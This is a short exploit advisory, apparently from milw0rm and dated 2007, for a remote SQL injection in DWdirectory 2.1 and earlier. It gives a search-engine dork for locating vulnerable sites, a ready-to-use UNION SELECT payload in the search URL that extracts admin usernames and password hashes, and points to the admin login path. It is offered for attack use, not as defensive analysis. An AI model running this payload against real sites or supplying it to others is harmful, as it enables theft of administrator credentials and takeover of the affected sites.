DWdirectory <= 2.1 - Remote SQL Injection Vulnerability

--==+================================================================================+==-- --==+ DWdirectory 2.1 AND PRIOR SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE: N/A DORK (altavista.com): &#34;Powered by DWdirectory&#34; DESCRIPTION: pull admin info from the database EXPLOITS: www.site.com/search?search=null&#39;+and+1=2+UNION+ALL+SELECT+concat(username,char(58),password),2,3,4+FROM+users/**/LIMIT/**/0,1/*&submit=Search NOTE/TIP: admin login is at /admin/ GREETZ: milw0rm.com, h4ck-y0u.org ! --==+================================================================================+==-- --==+ DWdirectory 2.1 AND PRIOR SQL Injection Vulnerbility +==-- --==+================================================================================+==-- # milw0rm.com [2007-12-09]